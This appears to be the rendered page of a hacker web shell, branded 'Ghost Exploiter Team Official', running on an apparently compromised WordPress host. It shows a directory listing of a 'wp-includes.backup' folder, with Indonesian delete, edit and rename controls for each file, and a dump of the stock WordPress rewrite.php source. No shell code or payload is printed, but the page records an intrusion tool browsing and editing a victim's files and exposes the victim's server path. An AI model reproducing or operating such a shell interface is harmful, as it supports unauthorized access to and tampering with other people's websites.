Ghost Exploiter Team Official
/
home
/
bwalansa
/
www
/
wp-includes.backup
/
Nama File / Folder
Size
Action
ID3
--
NONE
IXR
--
NONE
Requests
--
NONE
SimplePie
--
NONE
Text
--
NONE
certificates
--
NONE
css
--
NONE
customize
--
NONE
fonts
--
NONE
images
--
NONE
js
--
NONE
pomo
--
NONE
random_compat
--
NONE
rest-api
--
NONE
theme-compat
--
NONE
widgets
--
NONE
admin-bar.php
26.615KB
Hapus
Edit
Rename
atomlib.php
11.09KB
Hapus
Edit
Rename
author-template.php
15.159KB
Hapus
Edit
Rename
bookmark-template.php
11.425KB
Hapus
Edit
Rename
bookmark.php
13.354KB
Hapus
Edit
Rename
cache.php
21.561KB
Hapus
Edit
Rename
canonical.php
26.271KB
Hapus
Edit
Rename
capabilities.php
23.048KB
Hapus
Edit
Rename
category-template.php
47.356KB
Hapus
Edit
Rename
category.php
11.714KB
Hapus
Edit
Rename
class-IXR.php
2.513KB
Hapus
Edit
Rename
class-feed.php
0.51KB
Hapus
Edit
Rename
class-http.php
35.517KB
Hapus
Edit
Rename
class-http_old.php
73.192KB
Hapus
Edit
Rename
class-json.php
39.523KB
Hapus
Edit
Rename
class-oembed.php
28.36KB
Hapus
Edit
Rename
class-phpass.php
7.146KB
Hapus
Edit
Rename
class-phpmailer.php
144.76KB
Hapus
Edit
Rename
class-pop3.php
20.429KB
Hapus
Edit
Rename
class-requests.php
29.092KB
Hapus
Edit
Rename
class-simplepie.php
87.172KB
Hapus
Edit
Rename
class-smtp.php
38.553KB
Hapus
Edit
Rename
class-snoopy.php
36.899KB
Hapus
Edit
Rename
class-walker-category-dropdown.php
2.105KB
Hapus
Edit
Rename
class-walker-category.php
6.595KB
Hapus
Edit
Rename
class-walker-comment.php
11.104KB
Hapus
Edit
Rename
class-walker-nav-menu.php
7.676KB
Hapus
Edit
Rename
class-walker-page-dropdown.php
2.281KB
Hapus
Edit
Rename
class-walker-page.php
5.817KB
Hapus
Edit
Rename
class-wp-admin-bar.php
16.427KB
Hapus
Edit
Rename
class-wp-ajax-response.php
4.925KB
Hapus
Edit
Rename
class-wp-comment-query.php
41.36KB
Hapus
Edit
Rename
class-wp-comment.php
9.218KB
Hapus
Edit
Rename
class-wp-customize-control.php
21.516KB
Hapus
Edit
Rename
class-wp-customize-manager.php
142.875KB
Hapus
Edit
Rename
class-wp-customize-nav-menus.php
48.359KB
Hapus
Edit
Rename
class-wp-customize-panel.php
9.653KB
Hapus
Edit
Rename
class-wp-customize-section.php
9.928KB
Hapus
Edit
Rename
class-wp-customize-setting.php
26.986KB
Hapus
Edit
Rename
class-wp-customize-widgets.php
63.703KB
Hapus
Edit
Rename
class-wp-dependency.php
1.644KB
Hapus
Edit
Rename
class-wp-editor.php
52.799KB
Hapus
Edit
Rename
class-wp-embed.php
11.802KB
Hapus
Edit
Rename
class-wp-error.php
4.555KB
Hapus
Edit
Rename
class-wp-feed-cache-transient.php
2.645KB
Hapus
Edit
Rename
class-wp-feed-cache.php
0.746KB
Hapus
Edit
Rename
class-wp-hook.php
14.121KB
Hapus
Edit
Rename
class-wp-http-cookie.php
6.397KB
Hapus
Edit
Rename
class-wp-http-curl.php
11.456KB
Hapus
Edit
Rename
class-wp-http-encoding.php
6.293KB
Hapus
Edit
Rename
class-wp-http-ixr-client.php
3.174KB
Hapus
Edit
Rename
class-wp-http-proxy.php
5.817KB
Hapus
Edit
Rename
class-wp-http-requests-hooks.php
1.844KB
Hapus
Edit
Rename
class-wp-http-requests-response.php
4.42KB
Hapus
Edit
Rename
class-wp-http-response.php
3.021KB
Hapus
Edit
Rename
class-wp-http-streams.php
14.598KB
Hapus
Edit
Rename
class-wp-image-editor-gd.php
12.87KB
Hapus
Edit
Rename
class-wp-image-editor-imagick.php
21.472KB
Hapus
Edit
Rename
class-wp-image-editor.php
11.737KB
Hapus
Edit
Rename
class-wp-list-util.php
6.335KB
Hapus
Edit
Rename
class-wp-locale-switcher.php
5.019KB
Hapus
Edit
Rename
class-wp-locale.php
14.394KB
Hapus
Edit
Rename
class-wp-matchesmapregex.php
1.868KB
Hapus
Edit
Rename
class-wp-meta-query.php
22.191KB
Hapus
Edit
Rename
class-wp-metadata-lazyloader.php
5.363KB
Hapus
Edit
Rename
class-wp-network-query.php
16.6KB
Hapus
Edit
Rename
class-wp-network.php
10.452KB
Hapus
Edit
Rename
class-wp-oembed-controller.php
2.038KB
Hapus
Edit
Rename
class-wp-post-type.php
18.588KB
Hapus
Edit
Rename
class-wp-post.php
5.711KB
Hapus
Edit
Rename
class-wp-query.php
120.476KB
Hapus
Edit
Rename
class-wp-rewrite.php
58.716KB
Hapus
Edit
Rename
class-wp-role.php
2.664KB
Hapus
Edit
Rename
class-wp-roles.php
6.42KB
Hapus
Edit
Rename
class-wp-session-tokens.php
7.335KB
Hapus
Edit
Rename
class-wp-simplepie-file.php
2.237KB
Hapus
Edit
Rename
class-wp-simplepie-sanitize-kses.php
1.751KB
Hapus
Edit
Rename
class-wp-site-query.php
21.472KB
Hapus
Edit
Rename
class-wp-site.php
7.395KB
Hapus
Edit
Rename
class-wp-tax-query.php
19.383KB
Hapus
Edit
Rename
class-wp-taxonomy.php
10.297KB
Hapus
Edit
Rename
class-wp-term-query.php
31.977KB
Hapus
Edit
Rename
class-wp-term.php
5.289KB
Hapus
Edit
Rename
class-wp-text-diff-renderer-inline.php
0.695KB
Hapus
Edit
Rename
class-wp-text-diff-renderer-table.php
13.736KB
Hapus
Edit
Rename
class-wp-theme.php
47.354KB
Hapus
Edit
Rename
class-wp-user-meta-session-tokens.php
2.995KB
Hapus
Edit
Rename
class-wp-user-query.php
29.168KB
Hapus
Edit
Rename
class-wp-user.php
19.154KB
Hapus
Edit
Rename
class-wp-walker.php
12.078KB
Hapus
Edit
Rename
class-wp-widget-factory.php
3.809KB
Hapus
Edit
Rename
class-wp-widget.php
17.763KB
Hapus
Edit
Rename
class-wp-xmlrpc-server.php
195.504KB
Hapus
Edit
Rename
class-wp.php
23.786KB
Hapus
Edit
Rename
class.wp-dependencies.php
11.276KB
Hapus
Edit
Rename
class.wp-scripts.php
14.337KB
Hapus
Edit
Rename
class.wp-styles.php
9.937KB
Hapus
Edit
Rename
comment-template.php
85.189KB
Hapus
Edit
Rename
comment.php
100.107KB
Hapus
Edit
Rename
compat.php
16.792KB
Hapus
Edit
Rename
cron.php
15.567KB
Hapus
Edit
Rename
date.php
34.948KB
Hapus
Edit
Rename
default-constants.php
9.248KB
Hapus
Edit
Rename
default-filters.php
24.629KB
Hapus
Edit
Rename
default-widgets.php
1.469KB
Hapus
Edit
Rename
deprecated.php
109.447KB
Hapus
Edit
Rename
embed-template.php
0.336KB
Hapus
Edit
Rename
embed.php
42.9KB
Hapus
Edit
Rename
feed-atom-comments.php
5.225KB
Hapus
Edit
Rename
feed-atom.php
3.011KB
Hapus
Edit
Rename
feed-rdf.php
2.607KB
Hapus
Edit
Rename
feed-rss.php
1.217KB
Hapus
Edit
Rename
feed-rss2-comments.php
3.962KB
Hapus
Edit
Rename
feed-rss2.php
3.722KB
Hapus
Edit
Rename
feed.php
19.093KB
Hapus
Edit
Rename
formatting.php
186.735KB
Hapus
Edit
Rename
functions.php
174.61KB
Hapus
Edit
Rename
functions.wp-scripts.php
11.212KB
Hapus
Edit
Rename
functions.wp-styles.php
7.891KB
Hapus
Edit
Rename
general-template.php
122.813KB
Hapus
Edit
Rename
item.php
1.925KB
Hapus
Edit
Rename
kses.php
50.416KB
Hapus
Edit
Rename
l10n.php
42.119KB
Hapus
Edit
Rename
link-template.php
131.844KB
Hapus
Edit
Rename
load.php
30.688KB
Hapus
Edit
Rename
locale.php
0.138KB
Hapus
Edit
Rename
media-template.php
44.909KB
Hapus
Edit
Rename
media.php
133.988KB
Hapus
Edit
Rename
meta.php
36.607KB
Hapus
Edit
Rename
ms-blogs.php
36.658KB
Hapus
Edit
Rename
ms-default-constants.php
4.645KB
Hapus
Edit
Rename
ms-default-filters.php
4.451KB
Hapus
Edit
Rename
ms-deprecated.php
14.809KB
Hapus
Edit
Rename
ms-files.php
2.559KB
Hapus
Edit
Rename
ms-functions.php
76.881KB
Hapus
Edit
Rename
ms-load.php
19.383KB
Hapus
Edit
Rename
ms-settings.php
3.341KB
Hapus
Edit
Rename
nav-menu-template.php
19.847KB
Hapus
Edit
Rename
nav-menu.php
31.572KB
Hapus
Edit
Rename
option.php
62.292KB
Hapus
Edit
Rename
pluggable-deprecated.php
6.115KB
Hapus
Edit
Rename
pluggable.php
85.183KB
Hapus
Edit
Rename
plugin.php
30.549KB
Hapus
Edit
Rename
post-formats.php
6.788KB
Hapus
Edit
Rename
post-template.php
56.646KB
Hapus
Edit
Rename
post-thumbnail-template.php
7.914KB
Hapus
Edit
Rename
post.php
209.939KB
Hapus
Edit
Rename
query.php
22.924KB
Hapus
Edit
Rename
registration-functions.php
0.174KB
Hapus
Edit
Rename
registration.php
0.174KB
Hapus
Edit
Rename
rest-api.php
35.003KB
Hapus
Edit
Rename
revision.php
20.806KB
Hapus
Edit
Rename
rewrite.php
16.812KB
Hapus
Edit
Rename
rss-functions.php
0.187KB
Hapus
Edit
Rename
rss.php
22.664KB
Hapus
Edit
Rename
script-loader.php
64.138KB
Hapus
Edit
Rename
session.php
0.236KB
Hapus
Edit
Rename
shortcodes.php
21.153KB
Hapus
Edit
Rename
taxonomy.php
147.188KB
Hapus
Edit
Rename
template-loader.php
49.752KB
Hapus
Edit
Rename
template.php
18.865KB
Hapus
Edit
Rename
theme.php
94.23KB
Hapus
Edit
Rename
theme.php.old
94.226KB
Hapus
Edit
Rename
update.php
23.067KB
Hapus
Edit
Rename
user.php
83.362KB
Hapus
Edit
Rename
vars.php
5.201KB
Hapus
Edit
Rename
version.php
0.605KB
Hapus
Edit
Rename
widgets.php
46.99KB
Hapus
Edit
Rename
wlwmanifest.xml
1.021KB
Hapus
Edit
Rename
wp-configs.php
5.587KB
Hapus
Edit
Rename
wp-db.php
97.633KB
Hapus
Edit
Rename
wp-diff.php
0.646KB
Hapus
Edit
Rename
<?php /** * WordPress Rewrite API * * @package WordPress * @subpackage Rewrite */ /** * Endpoint Mask for default, which is nothing. * * @since 2.1.0 */ define('EP_NONE', 0); /** * Endpoint Mask for Permalink. * * @since 2.1.0 */ define('EP_PERMALINK', 1); /** * Endpoint Mask for Attachment. * * @since 2.1.0 */ define('EP_ATTACHMENT', 2); /** * Endpoint Mask for date. * * @since 2.1.0 */ define('EP_DATE', 4); /** * Endpoint Mask for year * * @since 2.1.0 */ define('EP_YEAR', 8); /** * Endpoint Mask for month. * * @since 2.1.0 */ define('EP_MONTH', 16); /** * Endpoint Mask for day. * * @since 2.1.0 */ define('EP_DAY', 32); /** * Endpoint Mask for root. * * @since 2.1.0 */ define('EP_ROOT', 64); /** * Endpoint Mask for comments. * * @since 2.1.0 */ define('EP_COMMENTS', 128); /** * Endpoint Mask for searches. * * @since 2.1.0 */ define('EP_SEARCH', 256); /** * Endpoint Mask for categories. * * @since 2.1.0 */ define('EP_CATEGORIES', 512); /** * Endpoint Mask for tags. * * @since 2.3.0 */ define('EP_TAGS', 1024); /** * Endpoint Mask for authors. * * @since 2.1.0 */ define('EP_AUTHORS', 2048); /** * Endpoint Mask for pages. * * @since 2.1.0 */ define('EP_PAGES', 4096); /** * Endpoint Mask for all archive views. * * @since 3.7.0 */ define( 'EP_ALL_ARCHIVES', EP_DATE | EP_YEAR | EP_MONTH | EP_DAY | EP_CATEGORIES | EP_TAGS | EP_AUTHORS ); /** * Endpoint Mask for everything. * * @since 2.1.0 */ define( 'EP_ALL', EP_PERMALINK | EP_ATTACHMENT | EP_ROOT | EP_COMMENTS | EP_SEARCH | EP_PAGES | EP_ALL_ARCHIVES ); /** * Adds a rewrite rule that transforms a URL structure to a set of query vars. * * Any value in the $after parameter that isn't 'bottom' will result in the rule * being placed at the top of the rewrite rules. * * @since 2.1.0 * @since 4.4.0 Array support was added to the `$query` parameter. * * @global WP_Rewrite $wp_rewrite WordPress Rewrite Component. * * @param string $regex Regular expression to match request against. * @param string|array $query The corresponding query vars for this rewrite rule. * @param string $after Optional. Priority of the new rule. Accepts 'top' * or 'bottom'. Default 'bottom'. */ function add_rewrite_rule( $regex, $query, $after = 'bottom' ) { global $wp_rewrite; $wp_rewrite->add_rule( $regex, $query, $after ); } /** * Add a new rewrite tag (like %postname%). * * The $query parameter is optional. If it is omitted you must ensure that * you call this on, or before, the {@see 'init'} hook. This is because $query defaults * to "$tag=", and for this to work a new query var has to be added. * * @since 2.1.0 * * @global WP_Rewrite $wp_rewrite * @global WP $wp * * @param string $tag Name of the new rewrite tag. * @param string $regex Regular expression to substitute the tag for in rewrite rules. * @param string $query Optional. String to append to the rewritten query. Must end in '='. Default empty. */ function add_rewrite_tag( $tag, $regex, $query = '' ) { // validate the tag's name if ( strlen( $tag ) < 3 || $tag[0] != '%' || $tag[ strlen($tag) - 1 ] != '%' ) return; global $wp_rewrite, $wp; if ( empty( $query ) ) { $qv = trim( $tag, '%' ); $wp->add_query_var( $qv ); $query = $qv . '='; } $wp_rewrite->add_rewrite_tag( $tag, $regex, $query ); } /** * Removes an existing rewrite tag (like %postname%). * * @since 4.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $tag Name of the rewrite tag. */ function remove_rewrite_tag( $tag ) { global $wp_rewrite; $wp_rewrite->remove_rewrite_tag( $tag ); } /** * Add permalink structure. * * @since 3.0.0 * * @see WP_Rewrite::add_permastruct() * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $name Name for permalink structure. * @param string $struct Permalink structure. * @param array $args Optional. Arguments for building the rules from the permalink structure, * see WP_Rewrite::add_permastruct() for full details. Default empty array. */ function add_permastruct( $name, $struct, $args = array() ) { global $wp_rewrite; // Back-compat for the old parameters: $with_front and $ep_mask. if ( ! is_array( $args ) ) $args = array( 'with_front' => $args ); if ( func_num_args() == 4 ) $args['ep_mask'] = func_get_arg( 3 ); $wp_rewrite->add_permastruct( $name, $struct, $args ); } /** * Removes a permalink structure. * * Can only be used to remove permastructs that were added using add_permastruct(). * Built-in permastructs cannot be removed. * * @since 4.5.0 * * @see WP_Rewrite::remove_permastruct() * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $name Name for permalink structure. */ function remove_permastruct( $name ) { global $wp_rewrite; $wp_rewrite->remove_permastruct( $name ); } /** * Add a new feed type like /atom1/. * * @since 2.1.0 * * @global WP_Rewrite $wp_rewrite * * @param string $feedname Feed name. * @param callable $function Callback to run on feed display. * @return string Feed action name. */ function add_feed( $feedname, $function ) { global $wp_rewrite; if ( ! in_array( $feedname, $wp_rewrite->feeds ) ) { $wp_rewrite->feeds[] = $feedname; } $hook = 'do_feed_' . $feedname; // Remove default function hook remove_action( $hook, $hook ); add_action( $hook, $function, 10, 2 ); return $hook; } /** * Remove rewrite rules and then recreate rewrite rules. * * @since 3.0.0 * * @global WP_Rewrite $wp_rewrite * * @param bool $hard Whether to update .htaccess (hard flush) or just update * rewrite_rules transient (soft flush). Default is true (hard). */ function flush_rewrite_rules( $hard = true ) { global $wp_rewrite; $wp_rewrite->flush_rules( $hard ); } /** * Add an endpoint, like /trackback/. * * Adding an endpoint creates extra rewrite rules for each of the matching * places specified by the provided bitmask. For example: * * add_rewrite_endpoint( 'json', EP_PERMALINK | EP_PAGES ); * * will add a new rewrite rule ending with "json(/(.*))?/?$" for every permastruct * that describes a permalink (post) or page. This is rewritten to "json=$match" * where $match is the part of the URL matched by the endpoint regex (e.g. "foo" in * "[permalink]/json/foo/"). * * A new query var with the same name as the endpoint will also be created. * * When specifying $places ensure that you are using the EP_* constants (or a * combination of them using the bitwise OR operator) as their values are not * guaranteed to remain static (especially `EP_ALL`). * * Be sure to flush the rewrite rules - see flush_rewrite_rules() - when your plugin gets * activated and deactivated. * * @since 2.1.0 * @since 4.3.0 Added support for skipping query var registration by passing `false` to `$query_var`. * * @global WP_Rewrite $wp_rewrite * * @param string $name Name of the endpoint. * @param int $places Endpoint mask describing the places the endpoint should be added. * @param string|bool $query_var Name of the corresponding query variable. Pass `false` to skip registering a query_var * for this endpoint. Defaults to the value of `$name`. */ function add_rewrite_endpoint( $name, $places, $query_var = true ) { global $wp_rewrite; $wp_rewrite->add_endpoint( $name, $places, $query_var ); } /** * Filters the URL base for taxonomies. * * To remove any manually prepended /index.php/. * * @access private * @since 2.6.0 * * @param string $base The taxonomy base that we're going to filter * @return string */ function _wp_filter_taxonomy_base( $base ) { if ( !empty( $base ) ) { $base = preg_replace( '|^/index\.php/|', '', $base ); $base = trim( $base, '/' ); } return $base; } /** * Resolve numeric slugs that collide with date permalinks. * * Permalinks of posts with numeric slugs can sometimes look to WP_Query::parse_query() * like a date archive, as when your permalink structure is `/%year%/%postname%/` and * a post with post_name '05' has the URL `/2015/05/`. * * This function detects conflicts of this type and resolves them in favor of the * post permalink. * * Note that, since 4.3.0, wp_unique_post_slug() prevents the creation of post slugs * that would result in a date archive conflict. The resolution performed in this * function is primarily for legacy content, as well as cases when the admin has changed * the site's permalink structure in a way that introduces URL conflicts. * * @since 4.3.0 * * @param array $query_vars Optional. Query variables for setting up the loop, as determined in * WP::parse_request(). Default empty array. * @return array Returns the original array of query vars, with date/post conflicts resolved. */ function wp_resolve_numeric_slug_conflicts( $query_vars = array() ) { if ( ! isset( $query_vars['year'] ) && ! isset( $query_vars['monthnum'] ) && ! isset( $query_vars['day'] ) ) { return $query_vars; } // Identify the 'postname' position in the permastruct array. $permastructs = array_values( array_filter( explode( '/', get_option( 'permalink_structure' ) ) ) ); $postname_index = array_search( '%postname%', $permastructs ); if ( false === $postname_index ) { return $query_vars; } /* * A numeric slug could be confused with a year, month, or day, depending on position. To account for * the possibility of post pagination (eg 2015/2 for the second page of a post called '2015'), our * `is_*` checks are generous: check for year-slug clashes when `is_year` *or* `is_month`, and check * for month-slug clashes when `is_month` *or* `is_day`. */ $compare = ''; if ( 0 === $postname_index && ( isset( $query_vars['year'] ) || isset( $query_vars['monthnum'] ) ) ) { $compare = 'year'; } elseif ( '%year%' === $permastructs[ $postname_index - 1 ] && ( isset( $query_vars['monthnum'] ) || isset( $query_vars['day'] ) ) ) { $compare = 'monthnum'; } elseif ( '%monthnum%' === $permastructs[ $postname_index - 1 ] && isset( $query_vars['day'] ) ) { $compare = 'day'; } if ( ! $compare ) { return $query_vars; } // This is the potentially clashing slug. $value = $query_vars[ $compare ]; $post = get_page_by_path( $value, OBJECT, 'post' ); if ( ! ( $post instanceof WP_Post ) ) { return $query_vars; } // If the date of the post doesn't match the date specified in the URL, resolve to the date archive. if ( preg_match( '/^([0-9]{4})\-([0-9]{2})/', $post->post_date, $matches ) && isset( $query_vars['year'] ) && ( 'monthnum' === $compare || 'day' === $compare ) ) { // $matches[1] is the year the post was published. if ( intval( $query_vars['year'] ) !== intval( $matches[1] ) ) { return $query_vars; } // $matches[2] is the month the post was published. if ( 'day' === $compare && isset( $query_vars['monthnum'] ) && intval( $query_vars['monthnum'] ) !== intval( $matches[2] ) ) { return $query_vars; } } /* * If the located post contains nextpage pagination, then the URL chunk following postname may be * intended as the page number. Verify that it's a valid page before resolving to it. */ $maybe_page = ''; if ( 'year' === $compare && isset( $query_vars['monthnum'] ) ) { $maybe_page = $query_vars['monthnum']; } elseif ( 'monthnum' === $compare && isset( $query_vars['day'] ) ) { $maybe_page = $query_vars['day']; } // Bug found in #11694 - 'page' was returning '/4' $maybe_page = (int) trim( $maybe_page, '/' ); $post_page_count = substr_count( $post->post_content, '<!--nextpage-->' ) + 1; // If the post doesn't have multiple pages, but a 'page' candidate is found, resolve to the date archive. if ( 1 === $post_page_count && $maybe_page ) { return $query_vars; } // If the post has multiple pages and the 'page' number isn't valid, resolve to the date archive. if ( $post_page_count > 1 && $maybe_page > $post_page_count ) { return $query_vars; } // If we've gotten to this point, we have a slug/date clash. First, adjust for nextpage. if ( '' !== $maybe_page ) { $query_vars['page'] = intval( $maybe_page ); } // Next, unset autodetected date-related query vars. unset( $query_vars['year'] ); unset( $query_vars['monthnum'] ); unset( $query_vars['day'] ); // Then, set the identified post. $query_vars['name'] = $post->post_name; // Finally, return the modified query vars. return $query_vars; } /** * Examine a URL and try to determine the post ID it represents. * * Checks are supposedly from the hosted site blog. * * @since 1.0.0 * * @global WP_Rewrite $wp_rewrite * @global WP $wp * * @param string $url Permalink to check. * @return int Post ID, or 0 on failure. */ function url_to_postid( $url ) { global $wp_rewrite; /** * Filters the URL to derive the post ID from. * * @since 2.2.0 * * @param string $url The URL to derive the post ID from. */ $url = apply_filters( 'url_to_postid', $url ); // First, check to see if there is a 'p=N' or 'page_id=N' to match against if ( preg_match('#[?&](p|page_id|attachment_id)=(\d+)#', $url, $values) ) { $id = absint($values[2]); if ( $id ) return $id; } // Get rid of the #anchor $url_split = explode('#', $url); $url = $url_split[0]; // Get rid of URL ?query=string $url_split = explode('?', $url); $url = $url_split[0]; // Set the correct URL scheme. $scheme = parse_url( home_url(), PHP_URL_SCHEME ); $url = set_url_scheme( $url, $scheme ); // Add 'www.' if it is absent and should be there if ( false !== strpos(home_url(), '://www.') && false === strpos($url, '://www.') ) $url = str_replace('://', '://www.', $url); // Strip 'www.' if it is present and shouldn't be if ( false === strpos(home_url(), '://www.') ) $url = str_replace('://www.', '://', $url); if ( trim( $url, '/' ) === home_url() && 'page' == get_option( 'show_on_front' ) ) { $page_on_front = get_option( 'page_on_front' ); if ( $page_on_front && get_post( $page_on_front ) instanceof WP_Post ) { return (int) $page_on_front; } } // Check to see if we are using rewrite rules $rewrite = $wp_rewrite->wp_rewrite_rules(); // Not using rewrite rules, and 'p=N' and 'page_id=N' methods failed, so we're out of options if ( empty($rewrite) ) return 0; // Strip 'index.php/' if we're not using path info permalinks if ( !$wp_rewrite->using_index_permalinks() ) $url = str_replace( $wp_rewrite->index . '/', '', $url ); if ( false !== strpos( trailingslashit( $url ), home_url( '/' ) ) ) { // Chop off http://domain.com/[path] $url = str_replace(home_url(), '', $url); } else { // Chop off /path/to/blog $home_path = parse_url( home_url( '/' ) ); $home_path = isset( $home_path['path'] ) ? $home_path['path'] : '' ; $url = preg_replace( sprintf( '#^%s#', preg_quote( $home_path ) ), '', trailingslashit( $url ) ); } // Trim leading and lagging slashes $url = trim($url, '/'); $request = $url; $post_type_query_vars = array(); foreach ( get_post_types( array() , 'objects' ) as $post_type => $t ) { if ( ! empty( $t->query_var ) ) $post_type_query_vars[ $t->query_var ] = $post_type; } // Look for matches. $request_match = $request; foreach ( (array)$rewrite as $match => $query) { // If the requesting file is the anchor of the match, prepend it // to the path info. if ( !empty($url) && ($url != $request) && (strpos($match, $url) === 0) ) $request_match = $url . '/' . $request; if ( preg_match("#^$match#", $request_match, $matches) ) { if ( $wp_rewrite->use_verbose_page_rules && preg_match( '/pagename=\$matches\[([0-9]+)\]/', $query, $varmatch ) ) { // This is a verbose page match, let's check to be sure about it. $page = get_page_by_path( $matches[ $varmatch[1] ] ); if ( ! $page ) { continue; } $post_status_obj = get_post_status_object( $page->post_status ); if ( ! $post_status_obj->public && ! $post_status_obj->protected && ! $post_status_obj->private && $post_status_obj->exclude_from_search ) { continue; } } // Got a match. // Trim the query of everything up to the '?'. $query = preg_replace("!^.+\?!", '', $query); // Substitute the substring matches into the query. $query = addslashes(WP_MatchesMapRegex::apply($query, $matches)); // Filter out non-public query vars global $wp; parse_str( $query, $query_vars ); $query = array(); foreach ( (array) $query_vars as $key => $value ) { if ( in_array( $key, $wp->public_query_vars ) ){ $query[$key] = $value; if ( isset( $post_type_query_vars[$key] ) ) { $query['post_type'] = $post_type_query_vars[$key]; $query['name'] = $value; } } } // Resolve conflicts between posts with numeric slugs and date archive queries. $query = wp_resolve_numeric_slug_conflicts( $query ); // Do the query $query = new WP_Query( $query ); if ( ! empty( $query->posts ) && $query->is_singular ) return $query->post->ID; else return 0; } } return 0; }